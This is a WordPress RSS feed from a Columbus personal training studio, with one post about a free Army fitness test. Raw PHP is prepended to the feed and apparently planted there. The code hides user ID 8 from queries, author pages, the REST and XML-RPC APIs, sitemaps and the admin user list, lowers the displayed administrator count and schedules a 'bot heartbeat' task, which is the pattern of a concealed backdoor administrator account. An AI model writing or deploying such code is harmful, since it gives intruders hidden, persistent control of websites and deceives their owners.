add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 8;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 8;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 8;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 8;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-8{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>loose Archives - Chiseled - Training Studio</title>
	<atom:link href="https://chiseledgym.com/tag/loose/feed/" rel="self" type="application/rss+xml" />
	<link>https://chiseledgym.com/tag/loose/</link>
	<description>Private Personal Training Studio in the Short North</description>
	<lastBuildDate>Mon, 26 Oct 2015 01:25:42 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1</generator>
	<item>
		<title>Columbus Army Physical Fitness Test Photos</title>
		<link>https://chiseledgym.com/2015/10/columbus-army-physical-fitness-test-photos/</link>
		
		<dc:creator><![CDATA[Chiseled]]></dc:creator>
		<pubDate>Fri, 23 Oct 2015 16:56:05 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[chiseled]]></category>
		<category><![CDATA[columbus]]></category>
		<category><![CDATA[fitness]]></category>
		<category><![CDATA[Gym]]></category>
		<category><![CDATA[italian]]></category>
		<category><![CDATA[loose]]></category>
		<category><![CDATA[north]]></category>
		<category><![CDATA[personal]]></category>
		<category><![CDATA[physical]]></category>
		<category><![CDATA[short]]></category>
		<category><![CDATA[test]]></category>
		<category><![CDATA[training]]></category>
		<category><![CDATA[village]]></category>
		<category><![CDATA[weight]]></category>
		<guid isPermaLink="false">https://chiseledgym.com/?p=489</guid>

					<description><![CDATA[<p>What a morning!  On Saturday October 10th, Chiseled Gym was proud to host their free Army Physical Fitness Test to both our personal training clients as well as the local Short North and Columbus Area public.  Every six weeks Chiseled hosts this event to give back to the local Columbus community and hold their amazing clientele to a high standard of Chiseled fitness. The US Army uses three challenges to test the physical strength of it&#8217;s soldiers, and so did Chiseled. Test One &#8211; Sit-ups: Do as many perfect sit-ups as you can in a two minute window. Test Two &#8211; Pushups: Do as many perfect pushups as you can in a two minute window. Test Three &#8211; Cardio: Run two miles as fast as you can. We were very excited that over 75% of our participants passed the test!  Looks like our personally trained clients are on their way to getting CHISELED! All Photos by The Studio 614</p>
<p>The post <a href="https://chiseledgym.com/2015/10/columbus-army-physical-fitness-test-photos/">Columbus Army Physical Fitness Test Photos</a> appeared first on <a href="https://chiseledgym.com">Chiseled - Training Studio</a>.</p>
]]></description>
		
		
		
			</item>
	</channel>
</rss>